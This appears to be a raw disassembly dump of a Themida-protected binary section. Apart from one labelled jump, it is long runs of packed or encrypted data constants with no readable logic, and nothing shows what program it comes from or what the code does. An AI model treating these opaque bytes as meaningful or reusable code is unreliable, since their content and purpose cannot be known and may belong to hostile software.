dw 0DB6Ch
dd 0DD01D176h, 525A8650h, 26397AB2h, 80107DFEh, 8F082444h
dd 7B7D7C73h, 1A721F30h, 9001C580h, 66030719h, 4920AE68h
dd 0E8B0C2A0h
; ---------------------------------------------------------------------------
loc_518D38: ; CODE XREF: Themida_:00518CFAj
jmp near ptr 7E9CE6DFh
; ---------------------------------------------------------------------------
db 44h, 0B1h, 0D5h
dd 0E0E5306Eh, 212AD069h, 0F690EAh, 0D44DEDE2h, 0C283420Fh
dd 2E6017Ah, 0FF6FF80Bh, 422D0F89h, 61335DEBh, 6B4319Ch
dd 81FC4A0Dh, 0A56018Ch, 25293919h, 0BE3F40F0h, 3023772h
dd 89E9DAF7h, 90C8C63Eh, 213B4084h, 776CCA7Fh, 2E57380Fh
dd 16E0306Ah, 246C04D6h, 824A1D15h, 472698D2h, 9552EF6Fh
dd 108048A2h, 81122378h, 875923EEh, 0F45C7226h, 0B69EE98Eh
dd 2DD06540h, 62476884h, 414F6A7Ah, 0ED90160Bh, 0DE2D490Dh
dd 0CA56DD00h, 4976B845h, 0D51E04E4h, 52F21750h, 0F9B659C1h
dd 6827675Ah, 0E9D03744h, 8C18B244h, 2CA392BAh, 473B5456h
dd 6B267828h, 0CA373516h, 900C76D2h, 94373908h, 0EC9D4D06h
dd 16CD0502h, 94E4695Fh, 0F1A9258h, 1D313411h, 0CD933245h
dd 683DA148h, 3355E905h, 0B4C7C040h, 3C779F39h, 0EF28F701h
dd 9E91508h, 0BB0CE4DAh, 6E70E86Bh, 5700F3ABh, 0E2D1C209h
dd 0B11F5968h, 38AFA469h, 1D6D6381h, 8307E0C1h, 15680606h
dd 0C029605Dh, 125B8BBh, 0CB815F00h, 5D31486Fh, 4BDB24F7h
dd 66EF04D2h, 461E8132h, 0BD38A60Eh, 0BF408D0Ch, 0BDA7FEFh
dd 0FD01CEDEh, 14A6C682h, 0C16A340Ch, 2C78329h, 4F1C6057h
dd 102312D4h, 0D159976Dh, 2E8F548Bh, 448331C5h, 955A0AA1h
dd 505C0D0Ah, 73E7302Bh, 0AC07443Ch, 0C02604C1h, 91297002h
dd 49CEC056h, 1974097Ch, 45AB61E9h, 0D393AE9Bh, 47E5D1B4h
dd 0D1548E55h, 2558E9E0h, 0B14B5B9Eh, 5D9C8431h, 7446789h
dd 4076AD00h, 22D4Ah, 0F75AED49h, 0E53EE9D0h, 14BC6691h
dd 81F4904Eh, 621306EBh, 1D264BBFh, 1B0A6C2h, 93CB4EAh
dd 7435F111h, 0C31C808Dh, 10FD2893h, 0AC3B2A17h, 21972F17h
dd 4025693h, 65097081h, 0CA9298FCh, 64ABBF12h, 3CCEC8F9h
dd 0F1282881h, 0F595013h, 64DD4FF9h, 348FE8B9h, 3871C137h
dd 0C0ED13DBh, 6048C947h, 0B6890E4Dh, 0E915B8A2h, 491E1C18h
dd 4C100278h, 68B67A7h, 8240BE50h, 33130CBDh, 0C346235Eh
dd 0FC367028h, 155DEF24h, 4B1FA03Eh, 5B5C4853h, 0B1C2E4Ah
dd 1459E9F0h, 810C0192h, 0E348E0E7h, 0F0CFD867h, 2EA01914h
dd 0BAF1449Fh, 0E8757D0Fh, 0D8E44641h, 4BC60ED3h, 78353278h
dd 0CD5CD218h, 2D1C5EF0h, 1857012Ch, 4D119A00h, 0F757B4h
dd 0BEF181D1h, 19B3991h, 0CFE9C812h, 6997485h, 0DD60AEECh
dd 11D18017h, 0F10162F2h, 8A1C1F0h, 200EAC5Eh, 0C84AA269h
dd 0CB92E8DCh, 6F874C59h, 0A0E1F7C4h, 0B4266811h, 0BA60954Ah
dd 98E91674h, 1AE2793Bh, 86291847h, 68134958h, 17314DAAh
dd 0B4FC09B1h, 63D19484h, 25547F46h, 2F40B41Bh, 0B8E3F253h
dd 1056822Bh, 9942E906h, 30296E8h, 0EA80C0D8h, 2E41E3D7h
dd 0FFC6332Eh, 3FF6CE4Eh, 8AF9DECAh, 0C875E05h, 0F8F798CCh
dd 0FD232EE9h, 87B7816Dh, 0CC04EFC0h, 0FE1D03E7h, 0BE5C80C7h
dd 1EF8F7DCh, 5A6E5BFAh, 0CED1280Fh, 0C45AAEC1h, 1E8159C8h
dd 8C058E06h, 1EBFDAEh, 3C8FC280h, 197C4BF2h, 89B3166Bh
dd 20817582h, 95220D39h, 0D7F7184Bh, 0E9558AC1h, 0A2FE9337h
dd 8105E390h, 653C09EBh, 710037BCh, 6DAC0FC4h, 509066B8h
dd 0A05B0881h, 5CBB9F1Eh, 9B89A2A5h, 0CC95A8CEh, 9017C489h
dd 0C4FABDA2h, 0C4E7891Ah, 0EFC93232h, 0B23C8710h, 0AE5CD4ECh
dd 2D664078h, 945ED60Eh, 0A170A049h, 9150414Eh, 64C50800h
dd 58C22900h, 1737F281h, 45567A17h, 71552555h, 65ACA3h
dd 0B904C683h, 0BE0F0928h, 62168D02h, 71F09372h, 0F750FC0Ch
dd 134ACDFh, 1AF038Eh, 28875FF8h, 0E8C18198h, 71D2310Bh
dd 0E1614E30h, 0D832BB53h, 5AC1269Ah, 529B591Fh, 0CD48740h
dd 426340ABh, 5B183C03h, 3A5FFB01h, 1E0C872Ah, 81120934h
dd 7E6EE305h, 0DE141977h, 115601C8h, 0B3E9D901h, 0D150F23Ch
dd 3946B00Dh, 4E4C5851h, 0A94B5988h, 41892ECh, 0EE825482h
dd 0A5C112C6h, 58D8265Bh, 8DDBC4D4h, 5A2600A2h, 1312CE24h
dd 8A0C0161h, 3476E2E9h, 2117986Bh, 0A60C2D5Ch, 90E5598Bh
dd 0BB96B133h, 5E812C40h, 0C119ACh, 7F3E581h, 45902FD3h
dd 73FBC200h, 0E9EB29DCh, 37455C15h, 0CDA109DEh, 655121A2h
dd 0EEBEA82Ch, 2AE02540h, 0F1F3DB9Bh, 3C59CDA9h, 0BA52A096h
dd 2C360145h, 8BD0014Dh, 0E9114C14h, 6721E824h, 0D036F281h
dd 2CBE0351h, 89E1EA9Ah, 9C288D11h, 0D7EE8A40h, 4A186363h
dd 527233BEh, 0B206C626h, 6A3196B3h, 963A0D06h, 0DDCC91FEh
dd 3CBF35CCh, 8A3D8A0Ch, 7A1AF2A8h, 0BADF3647h, 459A4950h
dd 0FF195975h, 4142BA73h, 5B43E91Bh, 0C579A269h, 41B4A8BAh
dd 60973573h, 0BDB13B8Bh, 21685283h, 9C1DDA76h, 3C0522ABh
dd 0BC45C500h, 0E889F02Bh, 0C6012C5Dh, 8719A0D5h, 0A0E98493h
dd 85FE8983h, 17D96830h, 0D9867D51h, 841583C4h, 84D12542h
dd 0B04C4DE3h, 3D51200Dh, 5243E41h, 5CA2FE5Ch, 0AE80FD46h
dd 0C123114Ch, 4D02ED1Dh, 12F8E514h, 0AB37359Dh, 444C782h
dd 0D328CC8Fh, 29EE51FBh, 106E2621h, 5F27DB39h, 0E8E56222h
dd 5257110Ch, 0B8495F54h, 24BA1DDh, 6AF824h, 0B342EDBFh
dd 0E7C10F0Ch, 90470702h, 3E790083h, 0B8501237h, 0B11E333Ah
dd 67412541h, 0BAE91B3Dh, 0CE17F739h, 3F410159h, 0F8286640h
dd 0F2BA251Dh, 0C92DF802h, 60045B73h, 125AC567h, 140F746Eh
dd 4A1686EBh, 0EA55876Dh, 121C3408h, 89979014h, 2AFEE9E6h
dd 0C1F3F1ACh, 0F5ED802Bh, 0ECB62CA5h, 985DF889h, 0FEFB068Bh
dd 0A6094594h, 8BF878A0h, 8B24CB3Ch, 0A7ECE9F5h, 20766827h
dd 0CC54550Ah, 0B12694F8h, 33CB000Dh, 0F78171CAh, 28160C71h
dd 0B5104F0Eh, 783F00B2h, 0FE898AF8h, 0C6E9165Fh, 3039898Dh
dd 0F015906h, 99BD7023h, 0F0804415h, 83616EEDh, 0DD482947h
dd 365E33AFh, 0BEBA4858h, 3BA9518Fh, 0EAD16C23h, 840FC2B0h
dd 0A27E2925h, 93E827Dh, 0A8E2DB8Eh, 0ADE193C7h, 554534DEh
dd 3A06E3A0h, 0BD0EF407h, 41A1A5F0h, 2538C529h, 53C0BECEh
dd 73E966AAh, 2D04BCBAh, 40A95D03h, 3F84DB94h, 0F329B1D0h
dd 0C7DE7231h, 0F3505B09h, 1E4B74FBh, 0E14CB85Eh, 880C1349h
dd 31811F21h, 0E7334A20h, 0D0961989h, 323C30ADh, 71327C63h
dd 0F03419D2h, 48267355h, 972A4473h, 1468769Bh, 0C10C1A4Eh
dd 14509474h, 2603BF4Ah, 436C0150h, 0A5E30FE9h, 3F3B221Ah
dd 7A2C4E4h, 738A7B50h, 0A6A5CF01h, 5C7FCC4Ch, 0FE46825h
dd 252FE4A3h, 2D7E1253h, 2352068h, 9C03E988h, 0EB8007F0h
dd 0D08F85B2h, 3B90B875h, 2D374CFEh, 7DF20B8Ch, 0A9DBA953h
dd 0E9553811h, 0C59699h, 16060559h, 0B5920E01h, 0D5E90780h
dd 24C10F49h, 6B007BC6h, 5508191Dh, 0EEBE0056h, 0BD5FA952h
dd 165FCD02h, 0E55ECD09h, 28BA1C6Fh, 0CFEA0169h, 0E93CDD63h
dd 2D023C84h, 0A8C82805h, 0E950C3AEh, 833140C1h, 0B70D16DEh
dd 0A128103Dh, 8004EDA7h, 80D5F658h, 778691C5h, 8D46FE5h
dd 0A42AA3C4h, 62E1A289h, 36207DD1h, 44681367h, 0CC9AC977h
dd 47A805E0h, 4BB18ACCh, 0C372FBCh, 7B82F6Fh, 50650974h
dd 7ABB012Dh, 20932134h, 315C1A9Bh, 9903D082h, 5C0271D4h
dd 0F9DF8196h, 6A77E91Dh, 62A00C2Ch, 4E55B137h, 746A4991h
dd 0D30FF6C3h, 366DA88h, 27D2B753h, 0E513E2BEh, 889DC09Bh
dd 0C4A8B47h, 0E90910DFh, 0E56403B3h, 0BC2A5C60h, 0B6EFB963h
dd 0CD310D19h, 21695C4Ch
dd 0C173AA98h, 2571074Ch, 3EFF19E5h, 8B60A354h, 5CCE6859h
dd 0E9C4C807h, 40B4E135h, 184E37CBh, 3124617Bh, 75A8CAF7h
dd 502B6817h, 5C8D98Ch, 0E970320Fh, 79D8E1C0h, 0A9CDD7F8h
dd 0DD5E3020h, 872A8C67h, 0C1375A0Ch, 0E394BCE2h, 9691EC14h
dd 0F39A0D92h, 2561601Eh, 0E7803DD6h, 2D087904h, 910613Ch
dd 0F0BE80E0h, 0B98D2DC5h, 0BA812434h, 5266019Bh, 2C92B050h
dd 0B101F1F0h, 0C00BF75Fh, 4019EC30h, 772BFF2Fh, 5812A828h
dd 0C02C2E69h, 2AB468C2h, 0D404759h, 41745h, 26F38143h
dd 0F749D329h, 23EBE0E7h, 198B201Fh, 0E92CB83h, 28C62Eh
dd 0B8BE7FB2h, 0E95BD901h, 0CCCB8633h, 0E886054Bh, 0F240CD4Fh
dd 3300929Bh, 7DB1B3Bh, 8EE0FC1h, 0A715B8E9h, 4F58CD03h
dd 40D90F7Bh, 0EF398BF4h, 2521055Dh, 0FB53815Eh, 0E3E42B5Eh
dd 29E37CEAh, 0B2C402C3h, 57593050h, 0E9513C71h, 0B76335CDh
dd 0CA0F7209h, 0E182B40Dh, 0F539816Dh, 40047391h, 0AAE69898h
dd 0B3005350h, 5BDC885Eh, 0F47B551h, 0F659EC08h, 6E4C020h
dd 1C01B652h, 805AF428h, 0E1D8DBC4h, 2CCFF58h, 75D175F6h
dd 0C1FE1CE9h, 2C208580h, 16278443h, 0B1A806D1h, 3092EA4h
dd 595279E9h, 48551E7Fh, 0AD127D14h, 3B844212h, 1FDD6EF0h
dd 12193A5Bh, 0D9305668h, 520F8161h, 0EAC060B2h, 0F9A4CD41h
dd 35F1438Eh, 60B65547h, 653AAE1h, 0C105C8B8h, 96FBEFDAh
dd 756FA602h, 99A64179h, 1B54374h, 4EDC032h, 3012F580h
dd 8EA05758h, 0CD4CFE0Fh, 66B35E6h, 0E0E65881h, 69A70A5h
dd 33903871h, 78253125h, 561700C7h, 555C9CCBh, 25311497h
dd 6C00FAE9h, 5A1BB668h, 988B4C25h, 944ED9BDh, 78BB691Fh
dd 0E9546E05h, 31F41C85h, 6821F95Ah, 0A02850ECh, 3DD3EB54h
dd 6BBEFB55h, 5BC11FD8h, 0BFDA2958h, 0D99D939Dh, 8C782623h
dd 74D669BCh, 51B1F217h, 949268D6h, 0E95104BBh, 22B35F75h
dd 4012852Ch, 80CFFEDFh, 601EF30h, 2DF82832h, 0BE0015E9h
dd 88DAB450h, 1B209FB0h, 0B55E5882h, 94997F27h, 35FCBA56h
dd 3D03B2DDh, 0AFC9FE06h, 8716B7BEh, 35839C26h, 9710D101h
dd 0FB1682DFh, 0BF1085ACh, 0B5CD0601h, 5FFD31CFh, 6420EBEDh
dd 24DEEDh, 0F681DEF7h, 0C724B543h, 0AC120B26h, 0F612E585h
dd 433DA86Dh, 0FA611D4Eh, 0C67D224Bh, 1302A3B1h, 0F2D4BDE9h
dd 4290B288h, 1E1C2C77h, 0CE578B03h, 0EC4F5Fh, 58E230E9h
dd 0C90ECA80h, 0BDFEEAD0h, 88AEF2C0h, 5B5FE9D5h, 1D33413Ah
dd 2B71B633h, 0EB4B640Fh, 7AD562B4h, 0C9E5B170h, 2EB4E849h
dd 0B25F8109h, 904FF05Ah, 88ED9157h, 56F7EE4h, 75CC7C85h
dd 52D02588h, 0C59F78E5h, 8259EE89h, 0D40416Eh, 298A41ACh
dd 52570044h, 4E170068h, 815A22B4h, 301D87F2h, 0CA8173D0h
dd 60AB10CDh, 7C141886h, 0A4203E1Ch, 0CC80096Bh, 5C8366D6h
dd 0E5BF305Ch, 5ABAF00Fh, 0A2C62924h, 5703C08h, 0CD041D68h
dd 69E6CD0Ch, 5DC58545h, 16B601D8h, 50E759h, 9F39371Eh
dd 0C124450Ah, 0FC084EEDh, 665B13F3h, 9AB00D1Dh, 7EBFD940h
dd 6AAE1228h, 0D6DE0489h, 0B4FAF46Dh, 22040E01h, 8105EAC1h
dd 0A8B290CFh, 0D68905DAh, 0F70F73E9h, 41444B41h, 0B4CC8AC1h
dd 92D54808h, 6F2B184h, 400E97B5h, 0BB0E2CDAh, 9304D828h
dd 17589108h, 3E0E0366h, 0AEB7C530h, 2BE9E803h, 0C3805D02h
dd 65D98846h, 220A67Ch, 0DC7AE9FFh, 5165D45Eh, 2E99FE84h
dd 0BF890E5Dh, 0BA96147Bh, 82EADC20h, 0F9D5E278h, 504C0879h
dd 57AB4827h, 692609BFh, 80DA613Dh, 77740A30h, 26759EF5h
dd 9F2A3Ch, 0C98F33E2h, 5D4CEE01h, 2B720B03h, 0B8BE00A4h
dd 12168D6h, 1AEA053Dh, 0D42D3782h, 2303FB58h, 8FE9D8F7h
dd 0BD58032Ch, 4F1163C8h, 6141560Ch, 94F79C26h, 9D581B27h
dd 770828C9h, 0AB4B7AD3h, 219A1784h, 9985295Dh, 4ADAA33Fh
dd 93C29BC7h, 887B5446h, 291615B5h, 0DC3DDC0h, 59C02E11h
dd 1DD7101Eh, 0C8CDE2D1h, 0E60B2A2Dh, 25D07670h, 36C566D5h
dd 620BB68h, 0E9FA2905h, 0C3E43474h, 58F14095h, 0C39D6112h
dd 26C25509h, 7AC2D311h, 15B76F9Ch, 300BB2EDh, 5F40E30Fh
dd 3D262A68h, 0A3DA5282h, 6BC9CB9Fh, 600B866h, 8135C611h
dd 255CC3CEh, 0F60732EDh, 0F166543Ch, 0F4FA0014h, 5115DD61h
dd 4BC2F001h, 0E91654CFh, 0C87984F1h, 52015DD2h, 660D6853h
dd 5281092Fh, 942AA5EBh, 9CBD405Eh, 551464C4h, 0B4B35A53h
dd 502DBAECh, 0D0B5F51Bh, 8710B6A0h, 5581A14h, 4FE91606h
dd 19E15D53h, 0BEC0A36Ch, 42E73C05h, 69A8E916h, 0D152F263h
dd 6181567Fh, 300D5DBDh, 0E65700Ah, 137C57E8h, 0DE948F9Dh
dd 32CCF5C1h, 2B1BA8h, 0D0DA5363h, 0E80A01F9h, 8F02055Dh
dd 0C3590E70h, 3E5C016h, 36EECBC1h, 0C59F5D04h, 0F8D33DE9h
dd 3DC7DCADh, 0D8293041h, 0F420B08Bh, 0FD26F430h, 0F149399Ch
dd 924E6AD8h, 90270450h, 7C810C1h, 198117Ah, 8352C312h
dd 88308E80h, 1FC0BA08h, 0D20692F5h, 48F6EAh, 4311DDCAh
dd 402FE970h, 0BBA0091Fh, 4F09152Dh, 0C10126FDh, 433848C9h
dd 9CF4BB76h, 644B6462h, 86698354h, 0E238D951h, 0F0FD85C3h
dd 72FE551Bh, 0B89774E3h, 8A51391h, 0E9042FFBh, 0F5CC7EB0h
dd 3A503F3h, 53573862h, 16CFE001h, 68E94354h, 34877564h
dd 800647F9h, 0C87E71C4h, 302A2890h, 36905149h, 3C473201h
dd 0D0F7925Dh, 0CFE484CEh, 0A2C5942h, 5AA00E6Bh, 5C583E68h
dd 0A1B5C1F1h, 31BFD7E9h, 2F22B895h, 97F57378h, 4D258238h
dd 4256B225h, 9070902h, 0E337F86Ah, 8A5EF548h, 5AD5484Eh
dd 0CD445F5Dh, 1023267h, 4D715EF3h, 6CD25C9Fh, 2DBAE241h
dd 70303625h, 5FBF02CAh, 0DAF7290Eh, 7D05F77Ch, 0C18016F2h
dd 58491CA7h, 33FCA41h, 7CE904FCh, 0EC2144DCh, 5F31102Eh
dd 0A980355Bh, 0B8BAD887h, 182913A3h, 2578A60Ch, 5546021h
dd 0B7E16AEh, 2D31003Ch, 0B14D98B7h, 9A01D490h, 0E90F935Eh
dd 4334D4EDh, 0BBD0D5E0h, 5BDF290Fh, 0F487F94Dh, 1BD346F6h
dd 0D9AAE104h, 8A27C9F9h, 0F289CD09h, 6153EA6Ah, 0D7B01A12h
dd 2568175Ch, 0E2823720h, 4DC81665h, 0D3E4E288h, 25C58DF4h
dd 0E0C0555Ah, 5B3E052Eh, 0C149282Ah, 0A603E22Ah, 0B1D2F728h
dd 0AFACD3Eh, 19D589F5h, 57C961E9h, 5F220422h, 4E6DE910h
dd 658486Ch, 145ECFA0h, 29F0510Bh, 0FBFA85D7h, 0E916ABF6h
dd 0B8F0C0C9h, 5926658Fh, 250A392Eh, 0EB809868h, 6FB52D5Dh
dd 492B4CE5h, 14070528h, 8FB9515Bh, 3153880Bh, 0E627DD58h
dd 0B272EEEEh, 0D21D1432h, 8004E118h, 80738266h, 851309EEh
dd 1825725Dh, 0EF3351D9h, 483B7F11h, 579F6716h, 0B8943033h
dd 6C300711h, 6EC8602h, 167B822h, 0F74AF5F1h, 35A9E90Ch
dd 0B60E2A95h, 0AB6883CCh, 0D861EA3Eh, 0FB5F541Dh, 918F975Eh
dd 0BC48DFA4h, 58BDA2CCh, 0E6C11CAEh, 92EEDF05h, 0BB75256h
dd 0E79682F8h, 0B4F21C40h, 41A63090h, 5B4CC731h, 1343052Fh
dd 0D9026AD1h, 66D72DE9h, 0F0AF9CF2h, 5B4EDA31h, 0D6058600h
dd 0F111C417h, 7009421h, 931BE56h, 294F822Ah, 0E4E9B082h
dd 0BB04A370h, 0D3E7EFEh, 4AA80182h, 52457CD9h, 0D2811C58h
dd 0C76A4201h, 37427E74h, 2F0B0A70h, 6288350Fh, 8E7C105h
dd 1CFCE201h, 40F9395Ah, 0F689053Eh, 83E608D6h, 47F2B27h
dd 0FEC8D094h, 7163F5FDh
dd 7A2E7252h, 8AB0E8F9h, 88D25B42h, 0EB27BE1Bh, 76BAA0E4h
dd 5C29F05Dh, 0BA7DE0D1h, 4A8BFA17h, 83C82C1Ch, 8CBE02ECh
dd 66FCE904h, 1F04CBADh, 6517D78h, 0B136981Dh, 0F42CB295h
dd 0DB26B771h, 0CBBFE330h, 0B9B04C6Dh, 4E877C2Dh, 2C2E15Bh
dd 84A97C52h, 24FC4F9Fh, 0AA89558Bh, 0E910C7C6h, 0BA1D3E52h
dd 54928B74h, 0E4299BA7h, 0C31BA85Dh, 0C2A4BF57h, 0F76760A1h
dd 0E90DC2A0h, 427A4CABh, 0E188781Eh, 0C6CAADF9h, 9CE92763h
dd 323410Ah, 812010Eh, 2B2481D9h, 0BD638431h, 2E875D01h
dd 57C68A27h, 58809D19h, 377562ACh, 4CF94BF8h, 10256891h
dd 0B5FC6421h, 62017B99h, 8AE14874h, 8180AF32h, 0BE2D64F3h
dd 0C69B87Ch, 6B7D799Ah, 8E2E4C0Ch, 0D81546CBh, 3A5627F0h
dd 0C2395E64h, 1A4AD6E9h, 69598509h, 0C317ED4Ah, 78B25250h
dd 0A185D04Bh, 22D3C7B2h, 78D45238h, 48E9C1F0h, 53A0F20Bh
dd 5E2893BBh, 0E300FCB8h, 583D7C2Fh, 0C443DBF7h, 0C50C78E0h
dd 0C311B0EDh, 0E5978B02h, 0CA3BE9A0h, 62C17952h, 210F0BB3h
dd 2CD8281Bh, 60EE53D1h, 0B1CD333Bh, 0B26395A0h, 81D9290Bh
dd 0CB22C600h, 0E6FD5B55h, 8579806Ah, 4067DD9Fh, 9ADBE918h
dd 0C9FE07A8h, 0A235F180h, 0A6D343DAh, 0E0027DA4h, 0E263BF3Bh
dd 5566131h, 1884FE50h, 2B315C88h, 33166817h, 8FC9516Bh
dd 6D493F5Ah, 6E10AA0Ah, 3716E003h, 0C4C8DB0Bh, 0BDE60012h
dd 7AC14D1Eh, 353B3EB0h, 2E532618h, 0EAA01A1Ch, 0ABC6003h
dd 802EB652h, 2812EE7Eh, 16B65AF0h, 401E7610h, 7B03EBCCh
dd 136B266h, 0D4A6F2C3h, 0CB6806EBh, 1627310Ah, 78643A54h
dd 8AC63CAFh, 0E9485A82h, 0DCDCEBE3h, 27BE1B6Ah, 51450BFEh
dd 0BF526307h, 68AD341Ch, 0BB31492h, 0F60DA401h, 6CBBE92Bh
dd 412850BAh, 17380524h, 631FAF00h, 2DD931EBh, 0E18234E9h
dd 0C2D61C87h, 0BD0C0850h, 0A9B6E298h, 5AF18813h, 0F6591600h
dd 48C280D2h, 0ED16253Dh, 0E9490328h, 0AD504130h, 11B84E34h
dd 4B5B10Eh, 0C203BDA3h, 998BC580h, 43791EF5h, 0B8E8DB40h
dd 0E9C80BDEh, 47520785h, 8B68C2EFh, 1C4A7721h, 4165F198h
dd 0C93D300Dh, 16B3141h, 0F12E1595h, 0C682705Fh, 62583A78h
dd 3CD03EC0h, 0D9F71264h, 521CC313h, 0D47D9BC3h, 505EC2CAh
dd 4AF5FA89h, 0F29F89BAh, 84FB7A64h, 39685919h, 5F48BDA3h
dd 0E89900D3h, 296A492Eh, 158C109h, 20CA8FF1h, 0F71B1510h
dd 0CF90C0DFh, 0E97AA1C0h, 4984A44Ah, 0C2184A81h, 3AE78100h
dd 378A7216h, 20C4A61Dh, 7B803F95h, 4C25351h, 5FFE3154h
dd 0F69A8101h, 4B6D7F2Eh, 46220609h, 0B3F5134Ah, 8C299399h
dd 425C27DAh, 7FE953DDh, 0E90E855Bh, 0CEAC3883h, 565157C0h
dd 4575B268h, 1A41325Ch, 0C9A334E8h, 7BCEE39Ch, 1062AD9Bh
dd 817B2C4Ah, 22368B0Dh, 68B52D2Ah, 10A9A733h, 81548A14h
dd 76B0D85Fh, 0F1F11295h, 89E9613Bh, 92622C27h, 0EA23A772h
dd 2CB559A2h, 169884Eh, 3091BE00h, 62090522h, 5C33F4F3h
dd 0FC62B856h, 2650F9DBh, 4A6610C9h, 1E75A080h, 0F061725Fh
dd 0E907A0EFh, 282394CFh, 6E011233h, 207B0902h, 0DA257043h
dd 6786428Ch, 0CE45A779h, 47850E96h, 71D12182h, 0C95394D8h
dd 0C37AB304h, 3DBEFC0Fh, 7F2701CFh, 3EFC16Ah, 146DE0E7h
dd 47493023h, 7C8E8BAEh, 5B57DD12h, 16D84A0Bh, 0C8293048h
dd 0FE79B15Ch, 3D4F2330h, 60CE142Eh, 12C70E39h, 2A641E10h
dd 0AE806A64h, 5CF8296Ch, 0C31D2A5Fh, 7664412Bh, 694960E9h
dd 163012AFh, 0D2C88EA9h, 3B90C42h, 9E48F989h, 58CC4D64h
dd 9D46D8C3h, 8DA0BDCDh, 4D697F08h, 0ADDE893Eh, 4C7442B9h
dd 9A92F696h, 0FC881CCAh, 8DE7DE5Bh, 489762C4h, 0DE2D6899h
dd 821C9A4Fh, 17C1D9h, 8E18982Dh, 0A416D24Fh, 26A6FC00h
dd 0A25E6AC8h, 40FA5C98h, 0AE4CBDEFh, 5129643Bh, 87080097h
dd 0EA49E9FDh, 3462445h, 0BCA9893Bh, 4F5546C3h, 4B9A0E1Fh
dd 88FB54C4h, 7D4C7221h, 0A76FCABDh, 4CB80AB3h, 522C01E3h
dd 0D43B3B02h, 0E3F25930h, 2E4DE958h, 4E284B61h, 95F4BA09h
dd 2EB0934Fh, 4FC368h, 9582A34h, 234BE9C2h, 40D997D0h
dd 1213F686h, 0F6B01B32h, 30CD16E7h, 0EFF50092h, 28B70DC2h
dd 0D4FA3133h, 0B2E56Ch, 0CECBD94Eh, 9DAA5F13h, 0A0D0D203h
dd 98B7F020h, 2F174160h, 5F1D8613h, 2FF4DD17h, 6AC741EDh
dd 0E9D57249h, 79DDC5F1h, 64206B90h, 2056C458h, 48366800h
dd 55451D9Ch, 0EDA2CEA8h, 94146112h, 50267D2Ch, 0EC9718B4h
dd 81025E7Dh, 5A4447F6h, 34CDE5Dh, 37541535h, 0E9C6100Bh
dd 5FAE416Eh, 99074638h, 0DB27C844h, 0B80112FAh, 7796A3EAh
dd 221C789h, 0F0051981h, 0E80E8F23h, 1A9F2A10h, 0B69C2123h
dd 0C0FC5362h, 6FDB83BEh, 78B174FEh, 8882D314h, 0BCC6A042h
dd 6E95889h, 0BFA880B5h, 0C4AA66AFh, 0E239105Ah, 5BD297B7h
dd 0A2124051h, 25B42455h, 0C663256Bh, 612BDC0h, 12560F0h
dd 4F0271EFh, 681FC76Fh, 0C36A9813h, 8E3C11Dh, 4B9BEB9Bh
dd 0BBCB8188h, 474D7404h, 97F19EE9h, 660D316Ah, 0CF734129h
dd 575801B6h, 0EAC87769h, 21DD2438h, 0A304DB17h, 0CFF93969h
dd 143E8C84h, 2FDE1269h, 5DA95A34h, 5862DF4Ah, 19D85B74h
dd 0D06DB31h, 4B25B55Dh, 5921F74Bh, 25DA6BB7h, 0E0E9521Fh
dd 4798EA2Ah, 0C795A670h, 8BD626AFh, 0A080E9h, 0FC4ABAB8h
dd 21A6D6Bh, 0FC0B24B8h, 6BC6EBA3h, 90350720h, 0B8CF40B8h
dd 0DC0FD30Fh, 0C04B76Dh, 0AF2CBAh, 16B0579h, 0E9271BB0h
dd 523C613Dh, 9AFF5774h, 59BF224Ah, 9020E377h, 5585B2Bh
dd 167C311Eh, 510138ABh, 0BBF4B40h, 21870630h, 7E5D5300h
dd 0CC16526h, 53EA2498h, 79A2620h, 0E923A962h, 1DC709F8h
dd 0E4A9173Fh, 0CC540A33h, 985CA4BBh, 455C67EEh, 0ED7CD65Bh
dd 0EB082FE9h, 43202EC6h, 6060AA3Eh, 2EF9AA0h, 0DA21508Ch
dd 5356A3E9h, 0D8DA2C18h, 0B2520251h, 2A586804h, 0B3034966h
dd 0B1EB803Ch, 0C1029AC0h, 0A7766E89h, 559A885Ah, 0BA54B560h
dd 0CA3485h, 96E28133h, 0E959D14Fh, 6925BB24h, 51C20182h
dd 0EB2940B9h, 0B850006Bh, 2B3C63A7h, 91B23EE9h, 7E72565Eh
dd 7B90425Ch, 64E42F56h, 39EE810Eh, 1402217h, 0A86C2FEh
dd 27170B08h, 4F7D49A6h, 0E046250Fh, 6606498Eh, 4DBA34DCh
dd 22E9160Bh, 0DF9CF218h, 291D3849h, 0A44CE0DBh, 0C78BC031h
dd 62A730AEh, 213E70F3h, 4D59CD06h, 0B252AE9h, 0F828DFB7h
dd 407F988Ah, 0AFE9692Ch, 84D2F05Ch, 0F5A05BDEh, 0BF09B52Ah
dd 0D0F6B383h, 0C975C1A4h, 53D79774h, 0C3CD4681h, 8C30C354h
dd 350749C1h, 415E6FCEh, 0E468ACBBh, 507361h, 0DEF667B6h
dd 76B75350h, 80D70E6Ch, 0F765F1CFh, 6A77D631h, 1199E91Ah
dd 0E6B1503Ah, 31131F06h, 80C353CAh, 0EE305B8Ah, 4C95299h
dd 290BBC8Fh, 9351F007h, 8B1E6FD4h, 0A01355E2h, 95EE37B4h
dd 0F5ED6664h, 0D4EE358Dh, 0ACCB41Dh, 41D63257h, 0D52B28C9h
dd 5E5F04E9h, 8AA8E1E9h, 6016B748h, 4F65B2ECh, 5097C822h
dd 0DC882DD4h, 6794940Bh, 0CC5C507Fh, 3CF57EFAh, 24E9A8FDh
dd 6399239Bh, 353FF1F7h, 8D0A2556h, 0E5E34DFCh, 2C1CEBACh
dd 22A399D3h, 40AD02CCh, 1D233568h, 0AF016493h, 0CB882A45h
dd 61884017h, 5A6422E0h, 0A7D48B6Ah, 2526F5E4h, 0F1D0B807h
dd 6D5C980Ah, 0F91A8E57h
dd 4BF5C83h, 8669585Dh, 883E2D8h, 687230D5h, 25912DBDh
dd 0FD000BA8h, 0BA50D71Eh, 5C6B034Fh, 0E913E71Bh, 0E81A8549h
dd 99AB2C87h, 4852D242h, 81B3310Fh, 297F2089h, 0AB31F34Fh
dd 0BE248F66h, 0E5E6822Fh, 3B2A1391h, 0D45AEEBCh, 74451300h
dd 0E9302030h, 0EB913895h, 712CE1A0h, 0E40A95Dh, 0C15AF574h
dd 0FD22A10Ch, 7B0F0103h, 0D1A60A2Bh, 0D10820AAh, 0A37C140Ch
dd 0CA9A8D20h, 5DC51859h, 99CBA8F1h, 0B502499Eh, 0E72BC8E1h
dd 171A1E43h, 972D41A8h, 5EE2002Fh, 292A1805h, 0EB5DEA28h
dd 0D1094D76h, 0C8D30114h, 0B166EED3h, 9F16BCCEh, 45A6CA6Ah
